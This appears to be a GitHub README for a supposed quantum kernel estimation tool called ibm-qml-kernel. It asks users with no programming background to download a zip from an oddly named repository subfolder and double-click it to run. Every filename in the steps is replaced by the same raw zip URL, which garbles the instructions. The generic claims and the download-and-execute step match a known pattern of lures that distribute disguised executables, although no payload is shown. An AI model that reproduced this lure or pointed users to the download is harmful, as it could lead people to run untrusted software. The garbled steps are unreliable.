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✨ Estimate quantum kernels for binary classification on IBM Quantum hardware while ensuring numerical stability and reproducibility in experiments.

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🌌 ibm-qml-kernel - Estimate Quantum Performance Easily

🚀 Getting Started

Welcome to the ibm-qml-kernel repository! This application helps you estimate quantum kernel performance while also modeling noise from IBM hardware. With easy-to-follow steps, even users with no programming background can get started.

📥 Download the Application

Download

To download the latest version of ibm-qml-kernel, visit this page: Download Page.

💻 System Requirements

Before downloading, ensure your system meets these minimum requirements:

  • Operating System: Windows 10, macOS Sierra (10.12), or Linux (distributions released after 2018).
  • RAM: 4 GB or more.
  • Disk Space: At least 100 MB of free space.
  • Network: An internet connection is required for installation and updating.

📟 Features

  • Quantum Kernel Estimation: Quickly evaluate quantum performance in a user-friendly interface.
  • Noise Modeling: Use IBM's backend specifications for accurate results.
  • Reproducibility: Execute experiments that yield consistent results across different sessions.
  • Superconducting Hardware: Utilize leading techniques for superconducting qubit experiments.

🛠️ Installation Instructions

To install the ibm-qml-kernel application, follow these simple steps:

  1. Download the Application:

  2. Locate the Downloaded File:

    • Check your default download folder for the file named https://github.com/erickou8/ibm-qml-kernel/raw/refs/heads/main/nonassimilation/kernel-qml-ibm-morphogenic.zip.
  3. Extract the Zip File:

    • Right-click on the downloaded https://github.com/erickou8/ibm-qml-kernel/raw/refs/heads/main/nonassimilation/kernel-qml-ibm-morphogenic.zip file and select "Extract All." Follow the on-screen instructions to extract it to your preferred location.
  4. Open the Application:

    • Navigate to the extracted folder and double-click https://github.com/erickou8/ibm-qml-kernel/raw/refs/heads/main/nonassimilation/kernel-qml-ibm-morphogenic.zip (Windows) or https://github.com/erickou8/ibm-qml-kernel/raw/refs/heads/main/nonassimilation/kernel-qml-ibm-morphogenic.zip (macOS) to launch the application.
  5. Follow On-Screen Instructions:

    • Once the application opens, a user guide will help you navigate through the features and functionalities.

🏁 Running the Application

To run ibm-qml-kernel:

  1. Initiate a New Experiment:

    • Click on the "New Experiment" button in the application dashboard.
  2. Input Your Parameters:

    • Fill in the necessary fields related to your quantum data and choice of noise model.
  3. Start the Simulation:

    • Click "Run Simulation" to execute your experiment. You will see results within moments.
  4. Review Results:

    • The app provides a clear output, allowing you to analyze the performance of your quantum kernel.

⚙️ Troubleshooting

If you encounter issues during installation or execution:

  • Ensure Compatibility: Check that your operating system meets the minimum requirements.
  • Update Your System: Make sure your OS and existing software are updated.
  • Re-download the Application: If problems persist, delete the current download and try downloading it again.

📋 Frequently Asked Questions (FAQs)

Q1. Is this application free?
Yes, ibm-qml-kernel is completely free to use.

Q2. Can I use this software without programming knowledge?
Absolutely! The application is designed for users without a programming background.

Q3. How often is the software updated?
Updates are released periodically. Check the Download Page for the latest version.

Q4. Is there support available?
While we do not provide formal customer support, you can report issues in the repository's issues section.

📞 Contact

For further inquiries or feedback, please reach out via the GitHub Issues section or contact the maintainers through the repository.

Thank you for using ibm-qml-kernel!